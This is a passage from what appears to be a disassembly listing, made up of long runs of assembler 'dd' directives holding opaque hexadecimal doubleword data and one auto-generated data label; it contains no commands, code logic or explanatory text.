		dd 8F40F0BAh, 150107B0h, 50121F77h, 0A9D8C547h,	6E2E0E11h
		dd 0B04040DBh, 51BF428Fh, 0CB1BA418h, 38E05970h, 5800D4Dh
		dd 0B4DA1693h, 0AA02C802h, 9055EE70h, 0ADB8616Ch, 1E7A2FE4h
		dd 61582Eh, 20FF459h, 0FC004888h, 56793390h, 5CD8D995h
		dd 491254C4h, 85A401A4h, 0D49088D6h, 0E60005FCh, 29A58BF0h
		dd 332A8h, 78EE6866h, 4A4FF52Dh, 0A8ADEB26h, 0DA6C4D00h
		dd 0F8826DE6h, 0F0410036h, 3FAC03EEh, 5300015Bh, 76146A28h
		dd 5E3571h, 0EBF82C1Ah,	8BB91E98h, 0A6D3D100h, 0CF770839h
		dd 0DA2F00BDh, 0A981B4EAh, 0E707094Ah, 4CCCED12h, 0B00082D5h
		dd 2240C835h, 0CC9AF3h,	0F82DFF73h, 7E44B4C7h, 0D80ED630h
		dd 2974ABh, 0B969F34Ah,	256F3AE6h, 0B48EFFCh, 0BB7B72BAh
		dd 0E2F76600h, 0BC8150F1h, 0B2DD1E98h, 0F00D0024h, 0A2F67A57h
		dd 0A3C8A913h, 68347A07h, 0E0354AC3h, 735C4DB4h, 0C91102B8h
		dd 0F3DE0890h, 7C2704C0h, 0B0B7C403h, 0BB4AD3F9h, 3A1803CFh
		dd 0BB8F1020h, 0C9FA24A3h, 0E5CC60F5h, 60020069h, 8EF19E43h
		dd 0B42C80F4h, 3D8EE89Dh, 0AFB7E028h, 18CD482h,	6646E88h
		dd 0FCDCBD1Bh, 5D00B3E2h, 9A7643B2h, 61C9C31Ch,	0B573A8A0h
		dd 0F127F0DAh, 3C3052ECh, 0FAD618A1h, 7D651805h, 0EB39109Eh
		dd 1E6F33Dh, 99A74EA2h,	0CEF4C38Eh, 1DCC0052h, 47DD2011h
		dd 0D44C1F16h, 810A0317h, 0C8AD71FAh, 0F1A9C7h,	0BE5F8026h
		dd 750CE9CFh, 0D14D9401h, 3207F4E1h, 0C81CDCh, 583A5303h
		dd 0A9CE7C25h, 2F843700h, 1190CB14h, 83E600B3h,	0EA5726DAh
		dd 5301417Fh, 51071E65h, 0D5F043E8h, 0E917009Fh, 5DA4EC6h
		dd 85E8E018h, 43CCF62Eh, 1491FC07h, 17356E30h, 76BC00B2h
		dd 0D889FEC3h, 0EE008B13h, 0B4DC7E33h, 1E82F0EBh, 6290B1h
		dd 993F0E08h, 0A000DACAh, 67D348C8h, 0C0F351C9h, 3F14D910h
		dd 9F0058CCh, 0FF2CB820h, 3A7D770h, 0BC4B32AEh,	7A88A1F1h
		dd 91012590h, 77F09C9Ah, 0EFFCADF3h, 0E11707BEh, 0B0FCB1C8h
		dd 0A6D265EBh, 9F7E1800h, 0C1FF8DDh, 8919007Bh,	86B229A1h
		dd 6001AB5Ah, 69C1A8DEh, 9CF036E1h, 0BF95004Ah,	6208037Fh
		dd 0EB13ECD3h, 300C654h
		dd 36644B68h, 0A2A9005Bh, 25EE21ABh, 0CA000140h, 65A82ACBh
		dd 8B2297h, 7E08E706h, 79BD4CF5h, 250F7000h, 0ADF799B5h
		dd 0FC3C00BFh, 0C5E7A75Eh, 0F600CC5Dh, 0AF61A24Bh, 0C3441Dh
		dd 0D82CDAB4h, 456AD340h, 0B5431E1Fh, 93ABECC0h, 7B597AF4h
		dd 718C00DBh, 62B48B2h,	0C905E873h, 4674ED33h, 0E308300h
		dd 0A9C0Bh, 5F042D11h, 0DA3C6663h, 7732C93Bh, 85C60218h
		dd 7BDB5078h, 6CF228h, 13786D45h, 3F3E7BEBh, 1F7A30C6h
		dd 66054CE4h, 7E4D9901h, 9DA7A534h, 0EA4036E9h,	7086AEA0h
		dd 6B6800B6h, 2B7BCC45h, 5730FE9Ah, 36176892h, 30C20D7h
		dd 0BC85D800h, 0D95F6344h, 19261E24h, 8957C072h, 9D602CB9h
		dd 6B00BBB8h, 30CC8FB1h, 7DBC4E8h, 7C43B75Eh, 27F340AFh
		dd 0AB3EC0FFh, 15A3CA6h, 0EC4C11D1h, 66C4C44Ah,	840F3C28h
		dd 2E0E4300h, 58B5A419h, 5FE88D00h, 7C6B475Ah, 78E50038h
		dd 2A57793Ch, 0F57C568Fh, 0FE6AF905h, 82FC8A86h, 339037Ch
		dd 0BF46126Fh, 0EC1006C9h, 893A244Eh, 35E7051Dh, 5C8087AFh
		dd 85FFA7h, 8AF0BC48h, 93725F5Ah, 7C461E00h, 0C3E07D58h
		dd 1BDD185Ch, 25B020D8h, 840065EEh, 2E88F177h, 0B89EB7h
		dd 39A1F657h, 8C5AC949h, 0DDAD8B0Ah, 0CA80DC94h, 0A24229FDh
		dd 0FFB8009Bh, 1B9F6433h, 0BE00088Ch, 2A1AE7E9h, 69B027h
		dd 0C51218E3h, 640C3290h, 410E20B8h, 4AD40467h,	803DA836h
		dd 6323F6A6h, 99148Ch, 8A5DDFA5h, 843E971Eh, 0D7CB2C00h
		dd 31CF0E93h, 0F87D02E1h, 5DAEE7AFh, 9BB154C0h,	39C9411Fh
		dd 0E191F640h, 0DCD006h, 0C73DBA65h, 483113ADh,	0B4D54400h
		dd 8AC80A6Bh, 0E4E10040h, 88A9AFF9h, 679853E6h,	8EFE2E00h
		dd 0F530F273h, 4C1D24B8h, 165B0EB0h, 0A97E0AC0h, 7A1395B5h
		dd 7AB5A62h, 30A4D988h,	89079313h, 0F7202F0Bh, 0A3490023h
		dd 0E919FFh, 0D15A6F36h, 637D5E73h, 31812100h, 914F6BFCh
		dd 2594385Dh, 0B3128C01h, 4082C6AAh, 0FA643EBAh, 919EDE01h
		dd 58752A22h, 0D4168F40h, 0C3F20124h, 0E3C45F08h, 0D7982040h
		dd 3E185575h, 1EA1D413h, 57B41CEDh, 0E1518784h,	6940205Bh
		dd 4A038571h, 0D4D8DD38h, 0BA37F0A4h, 38CCF4C5h, 50E04499h
		dd 8176FE3Ch, 25353900h, 5037AE6h, 766F287h, 0B8C56396h
		dd 84A620C2h, 0ED006437h, 20984590h, 0AC333Ah, 0C4099B29h
		dd 613B761Dh, 11F55100h, 189148D0h, 3A27055Fh, 82D13FE3h
		dd 3840B401h, 7B000A70h, 851B9464h, 1EE6AC5Bh, 310A5D2h
		dd 9776F8B4h, 4B126000h, 0CAEC1C3h, 300513E2h, 0A85C4027h
		dd 0B5B0B256h, 8B62F806h, 18D98Eh, 0EEE475F9h, 6DCD01A0h
		dd 5FC640BDh, 8C620751h, 916874D4h, 0C241D99Ch,	0ED398080h
		dd 91008D0Ah, 0F7FA6F2Ch, 491FF28Ch, 560F8490h,	8B66AB45h
		dd 650048CFh, 0A5C3EA10h, 22D9ED04h, 0DD3C1DF4h, 7840800Dh
		dd 0A82FBEC1h, 81FB012Dh, 5835D25Eh, 0A03E60E6h, 0D50F1900h
		dd 31CC94D4h, 78110071h, 45D8D53h, 0BEA08C34h, 0B3007056h
		dd 8A7EAEFDh, 1CE78201h, 403B2FCAh, 4EE8EE69h, 0A012FB05h
		dd 0DB006239h, 9384B29h, 31CA00D3h, 34DE2C77h, 0CDF85BCFh
		dd 41898800h, 6996E157h, 4DD0197Fh, 33C3B825h, 0CA3800B4h
		dd 88A070E0h, 847700C1h, 0E482662Eh, 13007B79h,	10242198h
		dd 0FFEA26h, 2F8CB45Ch,	88457758h, 0C108471Ch, 95696480h
		dd 7ECC29F0h, 378F075Ah, 0A092CD2Ah, 6B19D39Eh,	0ED8CFF1Ch
		dd 0BB67EF80h, 7138E6D5h, 18061253h, 9C05004Bh,	224E11BAh
		dd 2A695600h, 88EFB0BEh, 0E23800EEh, 5BFD777Bh,	0EAFE5528h
		dd 13E94703h, 993AF97Ah, 81309741h, 0A64B0090h,	87FD7F04h
		dd 0C101591Fh, 9A9FA428h, 0C7C8262Ah, 0DE9E008Dh, 970C2573h
		dd 0B30036E4h, 261B9D98h, 0C232A7h, 2A7CE9D9h, 52A9E7FCh
		dd 89289301h, 88771A6Bh, 0C44E8h, 0CAF3341Fh, 0AAA9472Eh
		dd 5438F500h, 0A4C59A1Bh, 0CB9B0766h, 0A026793Fh, 0C1EE3AB1h
		dd 462F4300h, 0FD6AF104h, 9B8F07CEh, 0A3C81A40h, 2190C36Bh
		dd 0CD78F21Bh, 0E4E67A00h, 0DC9EB1B9h, 0CCAE33C5h, 0C1882748h
		dd 42002012h, 671A5E31h, 0F390E8h, 0FE405D04h, 52F8DBDCh
		dd 9178CB0Eh, 0B919208Ah, 0E0A5D962h, 879300B4h, 2F713D31h
		dd 1C005C53h, 55C32937h, 7CD4D73h, 0F0560384h, 0C1EAA0ABh
		dd 18F6D27Bh, 0B8C0F37Ah, 79A7B82Ah, 7F2E0058h,	5335BD57h
		dd 19287134h, 0DE5C6024h, 8D95052Bh, 9400C6ADh,	8C942A99h
		dd 1FC500D3h, 0C419BD85h, 5D00C7E9h, 0D8200D23h, 604A6482h
		dd 4EF630EAh, 0FEA0C345h, 36780E58h, 0FBC49E1Fh, 9887C0C1h
		dd 0DFE89467h, 6ED6002Ch, 0D53A8FDEh, 0CE0046C2h, 0BBAD5C7Ah
		dd 0EA0D0Fh, 370391EBh,	0F4B2DEF9h, 8386BD3Ch, 0F1437C01h
		dd 0BC00AFC9h, 0C56C2Dh, 0D8F6DD89h, 3A0D13B1h,	0A4213900h
		dd 0EB183C73h, 1C560FECh, 5C60B37Bh, 0F4253F13h, 46046000h
		dd 4EDF1AE5h, 22A50773h, 9A5A7964h, 230E01B4h, 0E8C5B26Ah
		dd 0A703E4E7h, 97E9611h, 0A513804Eh, 432926E0h,	9CAC004Ah
		dd 1A355CF3h, 5200187Eh, 2389C09Bh, 0EE2F14h, 0F7B47473h
		dd 0DD5E0FAEh, 2476847Ah, 0B9BA4600h, 324EEBDEh, 0A45400EAh
		dd 9AD2726h, 0E2010FCDh, 84D47D77h, 78BA4ADCh, 0A3D69301h
		dd 4AD3B475h, 9DBB05FCh, 49809111h, 281F4Eh, 0A1AABAADh
		dd 9B5EB216h, 98067E09h, 55FC0019h, 285C282h, 0CED6CC9h
		dd 5040F05Eh, 0A1C633Dh, 94C3F4E2h, 0B0A2142Ah,	0D5DF6h
		dd 6FC3ECFBh, 13BE86EEh, 15213D00h, 8E312A5h, 95180071h
		dd 53D98FE8h, 0CB00997Bh, 0AE7745FFh, 164AB31h,	88D0B265h
		dd 431CA09Fh, 0C8D8FAB4h, 2471FB50h, 9A00E8B8h,	20E222DBh
		dd 0FD17D080h, 17230h, 14DACB62h, 8C074AA6h, 0D39082A1h
		dd 33B830E0h, 80D1BC00h, 5E188519h, 83103E9Eh, 7A67DB00h
		dd 8A230FE7h, 41CCD600h, 0D738161Ch, 835E00BFh,	971D24A5h
		dd 6009C4Eh, 15D15D86h,	732745h, 703B38B4h, 9EC1D6FFh
		dd 7CC04C00h, 1FEB0A40h, 0C7DB3F43h, 7A557700h,	0E4E0347h
		dd 90AB7B00h, 172A7294h, 0E9AE0075h, 0D9F68BA4h, 18F03363h
		dd 9A2F7F1Dh, 0BD00E72Ch, 0E53FBBBEh, 0D9CE007Bh, 8B2CA5ADh
		dd 0E00CCA3h, 0A4233684h, 0E86694Ah, 17B87330h,	966A783h
		dd 0E5C31190h, 0F112E0B8h, 0EC004CDFh, 0EB63F06Ah, 55401E2h
		dd 0E7AE832Fh, 0C303CC98h, 89850A1Dh, 0F34062DEh, 2AF4DAD1h
		dd 74C50040h, 0DDDE7B80h, 1501990Fh, 92D88D5Bh,	0AEF49CF9h
		dd 0D77000BEh, 0ED7E52ECh, 120018ABh, 9E11FEA7h, 0E53031Ch
		dd 56DDB9A8h, 0D2374707h, 906E2435h, 8005983Dh,	5A117BB4h
		dd 168182A1h, 0E66F7h, 0C1E9D691h, 0EC1271F8h, 4B0F5AD2h
		dd 44AEC0BEh, 23DB1Fh, 25DDE539h, 6615400Bh, 0B29AF805h
		dd 5584E398h, 0C2E1F7C0h, 0B0637719h, 0B290D9h,	9FB32D3Eh
		dd 93A25CADh, 5049921Ch, 117FEF80h, 99D94Bh, 0F51A5130h
		dd 206FDDBCh, 8C1E967Dh, 0EDC0339Bh, 3504FFC8h,	0A8500021h
		dd 7B724C2Eh, 0BF00A0FDh, 12CD03D4h, 8A7924h, 0F3623D3Fh
		dd 0CA5C0706h, 29206B18h, 611050h, 0B6778FE5h, 0D96A175Ah
		dd 92A45600h, 0FF854FDFh, 89433CBFh, 3ADFB1Fh, 730CAF96h
		dd 3478DCE1h, 6870F8D8h, 5CA040EDh, 9E00EB44h, 0BB4BD843h
		dd 0AA827Ah, 0E82205E5h, 99C439FBh, 6407DB00h, 0B1EA6FA3h
		dd 0A4A0635h, 86197C9Bh
		dd 0F0C69A61h, 60B92FE8h, 0C58500F6h, 8D5E60CDh, 533A84A2h
		dd 0A3B30680h, 7894A9Eh, 0C5FE5BCAh, 3A5DF050h,	4E3A1497h
		dd 0DFD80752h, 4FC323B4h, 0EB103FAAh, 98CA80F7h, 4E62F100h
		dd 8ADE10EDh, 0C35D48F5h, 57140E00h, 0A75C67F2h, 0DB4A030Fh
		dd 649BB12h, 691DED58h,	7F7D98F0h, 5A3B215h, 0BF7E2148h
		dd 0D3B5F141h, 4003A6D9h, 0A23E0214h, 9254D900h, 3AD5A4E8h
		dd 73BB009Ch, 36E7DECAh, 0B0033ABh, 4393C2Ah, 3EB323h
		dd 0C609601Bh, 51053164h, 0EF473000h, 2DA4C35Bh, 0D182008Ch
		dd 27211A12h, 8F00DC28h, 0FA0C60A9h, 3C939EFh, 86D52E4Bh
		dd 94D0FB8Ah, 34006B58h, 25C6A772h, 2C683Eh, 0E59871AEh
		dd 163090E9h, 0CF42FC00h, 61775204h, 1C5700E2h,	1E785C65h
		dd 28001689h, 4FD3A406h, 9F6A07h, 0CF3C24CEh, 0B80C7D74h
		dd 80231C0Fh, 0AD6140C7h, 0D3F052h, 0E1B34DCEh,	0B9FBAE6Fh
		dd 3E0D2A00h, 9F2F6CD4h, 888100F8h, 2637D801h, 711D1F70h
		dd 51C0AFA2h, 4D434803h, 45F40089h, 3F80546Ch, 0E700F8F9h
		dd 48305E9Ah, 0E05C7534h, 27192928h, 0ABB66120h, 7F810C46h
		dd 77892A70h, 0FE4F00D0h, 0CCA287F8h, 0CB33C5C7h, 410808h
		dd 0F3766551h, 9AEFF1C3h, 4B39DE00h, 6D91221Eh,	0F03614BEh
		dd 2935A2DCh, 0A7808051h, 1560192Ah, 73844AE8h,	2054617Ch
		dd 243EF1C6h, 2D00D27Ch, 5028246Eh, 13A12BAh, 534B9117h
		dd 809542E5h, 0BD9DF981h, 0AB243D2Ah, 4550109Ch, 5513034Bh
		dd 0BE3AFBD5h, 0B5510010h, 0AFE832D9h, 0F031FE5Ch, 50C2087Fh
		dd 9D2F2080h, 0A3F24D9h, 0DD070972h, 6EEF57AEh,	642A80D8h
		dd 0D75CC74Dh, 7420EA19h, 0D50CCCB9h, 134A873Bh, 14208854h
		dd 24305DCBh, 0B23D9h, 0E2566C49h, 0EA06421Ah, 3A451C06h
		dd 41E0DD41h, 8013E133h, 2CE9BE2Bh, 0B0006A73h,	77A5247Bh
		dd 82766D2h, 12003948h,	0E2D17A56h, 544C84h, 0AD45679Ah
		dd 293BBDD3h, 21F7A600h, 9E18A1Ah, 8CE25655h, 3FD98E02h
		dd 0C131B7E8h, 0D99A3010h, 0DCD7DB00h, 0D87B8625h, 0E7971840h
		dd 9CC5E121h, 1C232D00h, 0CB84729h, 0B610325h, 0CE67B7B1h
		dd 91DB79F9h, 0B182E978h, 51E23ED9h, 8AA3C81Ch,	777C2076h
		dd 3CC3A500h, 0E1CE5DAh, 38B83070h, 632CF149h, 60011324h
		dd 3B5A4674h, 0AA4C01F6h, 0A57A2289h, 73EF598Ah, 0FAB58EFCh
		dd 0C8B94CA0h, 18F8495Ah, 0D8FBFF2Ah, 0CA8C3400h, 2D946297h
		dd 59F1133Ch, 7809EF9Bh, 0C4E001F7h, 60581D0h, 0E1C56550h
		dd 7FA80F00h, 42B60602h, 3FE80023h, 9A6E044Fh, 61C02758h
		dd 0D638F814h, 97FA064Eh, 883A73Ch, 67210C60h, 0A33881h
		dd 6E619BB9h, 0D3AB0D49h, 0A61A3200h, 15C63D4Dh, 4B08C358h
		dd 895C7F7h, 8C20F94h, 0FC30C1F8h, 89449458h, 0B3F8C06Fh
		dd 0DADEAD00h, 0EC6D8EB0h, 4E4A4C0Dh, 1158886Ah, 7A54878Bh
		dd 314C7B92h, 4A5910C7h, 4D1B0F7Ah, 0B2636E62h,	70F04124h
		dd 236452A6h, 30888998h, 29FB0079h, 1890962Ch, 0BE263384h
		dd 820361ACh, 0D0F0F988h, 0AC996E69h, 3897029Ch, 93724EFDh
		dd 1A10FE19h, 0AB00357Fh, 2892A6CDh, 0E4FBE01Dh, 1D7B899h
		dd 0DFA03CB4h, 515EEB33h, 804F89D8h, 0FFDB2591h, 0FB2B8Eh
		dd 480C8158h, 97A765E7h, 0B145A50Fh, 0CE0F40A3h, 38EF8D69h
		dd 0BA1466E9h, 8123940Eh, 8D7A4201h, 0E181C7Bh,	3031388h
		dd 0E52C617Ah, 810726EFh, 3DB8842Eh, 884C997Ch,	9048E2FFh
		dd 29DA00B0h, 0E7028083h, 0BE2509C3h, 30936F95h, 90A7908Fh
		dd 3E4CE2BFh, 23FDE994h, 0DB0DCB0Ch, 59D25B99h,	7C17A41h
		dd 0B288E8EFh, 0BBA6099Ch, 0C8935A6Dh, 0A90E79DBh, 202D60E6h
		dd 0F7B19435h, 0D90400A6h, 11147E9Dh, 103EB52h,	0F8255E9Fh
		dd 7A610FDBh, 0E46309F1h, 490351DEh, 12A16DAFh,	0F2100155h
		dd 82618831h, 9743107h,	6633F0DCh, 8BB0544Ch, 0A4818F6h
		dd 3D7400D8h, 0A24F0FC9h, 0E9014805h, 37E0598Ch, 0C880AC96h
		dd 32C2A47h, 721FF665h,	4FC3A9B1h, 0E88BC76Fh, 7CCC4522h
		dd 9F29000Fh, 0E181D344h, 0C9F0AF38h, 2AE48C00h, 0C8FC40F2h
		dd 0C3C10E78h, 0B38C5685h, 0CBF80F20h, 80748C00h, 3FFE61E4h
		dd 374900DAh, 4A202C83h, 0DB0FEA51h, 20AD247Fh,	140863BAh
		dd 0EC7A28C4h, 0DE80C0E6h, 3946B505h, 0F86E3807h, 4EE0DB7Eh
		dd 7CA3195h, 242AC6DFh,	6F005E9Dh, 0F60FC102h, 57E7B500h
		dd 0F4EB8A66h, 0CF910034h, 73E6C4E9h, 587607A1h, 78E3AC4Ch
		dd 9F6EC000h, 89887769h, 62D0E98h, 0D471467h, 36E480CFh
		dd 9EE4E6AAh, 0EE00D672h, 2A1875Bh, 1AA9BBh, 0EC1BFA57h
		dd 0A2B8E2E5h, 16B56C00h, 0AC0AEE5Ah, 0C804095Fh, 0BD85EACDh
		dd 0D346C092h, 4A00B21Ah, 0B3D85C30h, 4CDB02h, 0B1348FAEh
		dd 102769F4h, 40DA0530h, 20CA4160h, 0A82056EAh,	58260082h
		dd 1B4FB4F2h, 55006594h, 98975E3Dh, 240769EEh, 62B64Ch
		dd 2E2034A2h, 0F018D49Eh, 0DF8072E0h, 8DDA0C3h,	62FE00D5h
		dd 132984A5h, 9400DD24h, 0F31023BAh, 2A2BB4h, 0A2F5B77Ch
		dd 0F70D91B0h, 0EFC9D305h, 0C00032BCh, 0BB693B4Eh, 0D2E228h
		dd 7C3C4B4h, 2DD96FE0h,	0CF3C2DB8h, 0E87100E7h,	248AA6FBh
		dd 1B734Ah, 2248A93Eh, 278CA7FFh, 93B8F61Dh, 80763BBAh
		dd 0EE4D7E13h, 0B457E6h, 0BDF4CB42h, 4785F250h,	97401660h
		dd 0F0ED453Bh, 338C0EF6h, 6E20A16Ch, 7279A744h,	8B3480C0h
		dd 9225D70Ch, 9A6B2800h, 0C92400A0h, 0A34EA52Eh, 0D23E844Fh
		dd 2FC38077h, 0EF1B89FFh, 8BC1C471h, 39A1800Eh,	2218C262h
		dd 3E403FBBh, 452800AAh, 49588946h, 4D0C090Ch, 0C13CE9F7h
		dd 0DDDF1EF6h, 0DC80765h, 4B7F0089h, 9A00E67Dh,	5F0B1718h
		dd 79978E49h, 3ABD1E37h, 0BB6E4082h, 0C5758F6Bh, 0FA165200h
		dd 5468B103h, 847950h, 4A6B80F8h, 3FDA1BCEh, 0BC153D0Fh
		dd 0C34D4069h, 675AD65Fh, 10A04093h, 0D2831B08h, 0BD7F9100h
		dd 0A1105C79h, 9B2E0E9Ah, 1B208636h, 288E85D0h,	3B485E03h
		dd 753A1E9h, 0C7202DC0h, 862FB04Fh, 20F3FADEh, 965811ECh
		dd 81280125h, 7930D1E2h, 2A87088Dh, 63C88020h, 71984469h
		dd 1BC100AAh, 0C584817Ah, 28987C22h, 0DCDB7600h, 0C9B4F69Bh
		dd 38DF71h, 0C7D38849h,	1A0C52BCh, 87EC585h, 7F21C04Dh
		dd 0A471D6F0h, 0DDF5AA0Fh, 80CC06EFh, 56830079h, 0B5CA7BF1h
		dd 0BC00572Dh, 0F9B8AA6Fh, 8BD0DDh, 4162C64Bh, 7ACE79ADh
		dd 6FC988C0h, 1C513239h, 8C91C2A1h, 6B08C3FAh, 0BE4F21C0h
		dd 1E190Fh, 53FDE65h, 2609BB3Dh, 99233130h, 0A4D8D0CAh
		dd 93451880h, 241C98A9h, 7E5738h, 4A58A8F9h, 0F8E36A3h
		dd 0AFC42947h, 0EA9C8140h, 2F3DC807h, 0D32580ACh, 337B82C1h
		dd 0CC204DF7h, 5E35BC00h, 0A6BE1DD8h, 5DF80D00h, 62EAC98h
		dd 0F2393C12h, 0A1EFD0Ch, 5605B5ACh, 21590386h,	219B202Ch
		dd 0C4A09931h, 5101A946h, 0BABC38D3h, 0C0410C17h, 0D3598451h
		dd 360058EDh, 973D90D8h, 3F2EAFh, 765319Fh, 25C0765Bh
		dd 0E92931C0h, 38ABAA8h, 71657F01h, 82C7A4Ch, 8C80303Dh
		dd 0B299BAA9h, 0BDC000B0h, 8613FF2Dh, 5700D4ACh, 30927AF4h
		dd 2CA22C05h, 39141660h, 58B171FEh, 0BE0054D1h,	3ED65EFDh
		dd 0C530BC36h, 0FC4F1867h, 0CE1E009Eh, 3406C271h, 84A0116Eh
		dd 2E06A387h, 4E0238C9h, 5C7BF2F9h, 0F51BDC72h,	193140D7h
		dd 26BFD029h, 0BA04130Ch
dword_51E548	dd 63870189h, 7F209832h, 1209BA0Ch, 4081DE82h, 0ADACA60Ch
		dd 0DC03A761h, 3E77F197h, 3584985Dh, 3207007Bh,	0CF3AFDC4h
		dd 13D8745h, 0C39A0ECh,	0DBDEB82Eh, 361A72B8h, 17A119D4h
		dd 80B4114Ch, 1CA1E379h, 88934801h, 182E13h, 44BE0E44h
		dd 0A501296Dh, 60781E07h, 27F0AB48h, 0D356010Bh, 3752CA8Eh
		dd 7DB06B2Ah, 66F2A6h, 3AF83EFCh, 832789EBh, 6A7DCB00h
		dd 1F2EAE5Bh, 5C4373D1h, 0FC000DF2h, 0CA208E54h, 0EA1ED333h
		dd 375608D7h, 45B62906h, 639D0B18h, 0D200A043h,	0D997B1F9h
		dd 0D399D703h, 88522741h, 0C05CDA0Fh, 82A30888h, 0A9005E3Ah
		dd 39C98D71h, 7C8BEF80h, 0C17503D2h, 0FB0EEC8Ah, 605B9391h
		dd 366F819Ah, 94C44068h, 321FF9h, 9EED6BF1h, 2277B165h
		dd 0D2A74100h, 0B63FBA1Bh, 1594005Fh, 392792E3h, 4400C44Bh
		dd 172EF2FBh, 20B91AAh,	26430918h, 90A1868Fh, 60689203h
		dd 0F80E7634h, 40C8CB48h, 75DD9135h, 0F6D6016Ch, 0D9B4EF2Bh
		dd 9490814Dh, 0F769E564h, 0E880BC61h, 88B5AB44h, 1C03C936h
		dd 7EBA06D5h, 0F891FB34h, 0E9BA89Ah, 0C9B99707h, 3CD0C780h
		dd 69017A6Fh, 9D90B67Bh, 898B742h, 2E1C21C5h, 4ACF7800h
		dd 7ABD77A2h, 0A8CC00A5h, 9C7FFD7Dh, 3A00C64Fh,	0E70E5CD0h
		dd 1D20C3Eh, 7CE14C20h,	0D1CE5868h, 76FD10CCh, 1A9D0009h
		dd 0ED8EF6DCh, 0A7180C88h, 0B9507C60h, 7C20549h, 2051D181h
		dd 1B09612Ch, 0CE842010h, 0A880C4C8h, 72DC0975h, 0D36C070Bh
		dd 0E30A2BE5h, 32902342h, 0B500F158h, 0CF4BDB8h, 80D11CE8h
		dd 6E0799C7h, 0B5CDBFF5h, 0B009EC03h, 0F0731CE7h, 9C951826h
		dd 8AB0285Dh, 2E1ECB00h, 29F1925Ch, 602F74E4h, 736949ACh
		dd 0CBF134CBh, 98003DF3h, 0A4855536h, 0C0A194BDh, 0D8651549h
		dd 90247A6Bh, 6C002641h, 438EEF98h, 0A0BF3DDCh,	9C83E703h
		dd 0F0A8050Fh, 3D0A8DB5h, 0C8731A6Bh, 802E5C00h, 3AD51D8h
		dd 0F6C97D83h, 0A57CB1h, 0DC8B4F10h, 170BF7B4h,	83F88A06h
		dd 910C44A1h, 7047CC95h, 3C0E4C01h, 0F5201080h,	0EC92AB61h
		dd 4D9A9401h, 87488B31h, 0ECC708CCh, 0F8F0081h,	3F5C7DBBh
		dd 20002C6Fh, 0F61C30B4h, 1AB343Bh, 37C1B6A8h, 0DE81D12Dh
		dd 0E66BAD00h, 0C57D5C0Ah, 0CAAB2E00h, 1CA62938h, 8C47320Eh
		dd 2418A019h, 11FD496h,	63EAD5B4h, 0F817B181h, 76197DE2h
		dd 8251A8ADh, 3D81044Ah, 0F0AFF821h, 8703C80Ah,	0DBF0911Fh
		dd 8C89B1B3h, 0CDECA8D9h, 753CFA3Bh, 0E2093EF3h, 0A95729E2h
		dd 94A38823h, 44CA4304h, 915EFCD0h, 94E119A8h, 14407751h
		dd 14A10747h, 283FF06Eh, 4E937B00h, 91B49976h, 0E62B4800h
		dd 81FF1095h, 11E8B7h, 43D5068h, 836BAC14h, 0CB8F4500h
		dd 3BE0BE5Ch, 0F75A3F9Fh, 12A34C81h, 70A846E4h,	5000CCD3h
		dd 9A5470B2h, 0E09328E7h, 0C9130058h, 0F0C51F67h, 6F3B945Ah
		dd 0DF3B7CE8h, 793D803Ah, 0A7432E11h, 0D8C600A8h, 52883F5Fh
		dd 16002BADh, 0B9FE7436h, 0E615E85h, 6D56918Bh,	73F0A961h
		dd 0BFBDE006h, 550C2A00h, 352DE9A7h, 0C08600B8h, 0E337321Ah
		dd 1600ECF6h, 45EA9BBDh, 50279621h, 57F702h, 0DB446F24h
		dd 0F7E938F4h, 8D09F900h, 9330E308h, 70640522h,	8010AB21h
		dd 0ED689721h, 3E4F100h, 41B54780h, 28F600E9h, 44F5850h
		dd 0C10197C4h, 2A2D5786h, 0F1604ADDh, 353900D2h, 6F6DF93Bh
		dd 8107B89Dh, 3075567Eh, 5DE0AAF0h, 531F0051h, 0D0F2DD17h
		dd 6400F693h, 552747C5h, 99CF8Eh, 4E498A61h, 2FDA760Ch
		dd 53720901h, 70AAE77Ch, 6A44AC40h, 962D00E1h, 3978799Bh
		dd 0E5F9C710h, 80A8BB0Eh, 32354D0Ch, 512F64h, 2CE37E98h
		dd 88FAEA8h, 0B8A6DB03h, 78FD40B6h, 0E34E0030h,	3F15EE4Dh
		dd 0D0080DEh, 0A84A7A35h, 0D72B6Ch, 0CAAAB28Dh,	4C74BC91h
		dd 47FCE600h, 78DECFBEh, 0CDF0C014h, 0B72355DCh, 48FE44E4h
		dd 11018074h, 5AD2601Ch, 0DC803AE0h, 0AC9AEADh,	6A006FE1h
		dd 0DF866858h, 7E77537h, 5001F093h, 69FB70C2h, 4300199Ah
		dd 130DECB7h, 0F606B57Bh, 4863070Bh, 9091C871h,	0F925B157h
		dd 0D789D563h, 0B601801Ah, 7715002Eh, 0E9088AE7h, 0F0018F42h
		dd 0F486F16Bh, 26C8D5D2h, 4D2400AEh, 8ADF3F45h,	9F2C9CFDh
		dd 13AE680h, 0CA71C4DBh, 852085EFh, 16761Bh, 0A22BB328h
		dd 8324A425h, 0AA754675h, 7033FB00h, 358777E5h,	0DBA5002Ah
		dd 83D15867h, 7B1F039Ah, 291FF823h, 0F37880BDh,	3F10D0C2h
		dd 70E0F5C0h, 0CF8A0027h, 0BA2026B4h, 0EA037CEEh, 0A8493DD8h
		dd 0B068E07Ah, 0B805E4D9h, 6BAE0042h, 453074Eh,	601C9F8Bh
		dd 729F353Eh, 0BD79FB80h, 684357h, 0C0E9A42Bh, 0EAE5569Fh
		dd 110DF600h, 0A9FC3D7Ch, 0ACE8CAh, 196EBB10h, 85133887h
		dd 0CC969F00h, 57510473h, 77C3ABCh, 2B02A580h, 1B78327Fh
		dd 7A38D090h, 0DC8987C8h, 7501F957h, 0C0FFEA0Eh, 96A5A8h
		dd 0BC285B92h, 514C9B22h, 6DF7200h, 2EB7F4D9h, 7A390107h
		dd 0D2BDAA5Ch, 0FD4CC8DBh, 3AE84300h, 0D3D9DDA3h, 839400D8h
		dd 9F936859h, 0C303806Ch, 7FC20CBh, 76660F4Bh, 0A1E07C57h
		dd 684775B8h, 0F700ECF0h, 125598CDh, 0B003D1BFh, 0D6FE00C2h
		dd 0C6AD1080h, 0E04C90Ah, 53ED9F22h, 0E2155480h, 0EA3C0059h
		dd 2ECD318Dh, 9473FEC1h, 8C2D2A28h, 0E8A1438h, 0A182F683h
		dd 479BA06Fh, 2C46C6h, 0F75D246Eh, 602C2D56h, 0CDEB900h
		dd 107E67E3h, 2375007Dh, 0DAA4EAC7h, 0FE39AEDDh, 27A900C8h
		dd 0CC6E5583h, 0F3C00D4h, 0F58FE387h, 0D9008B3Ah, 1A9ACD63h
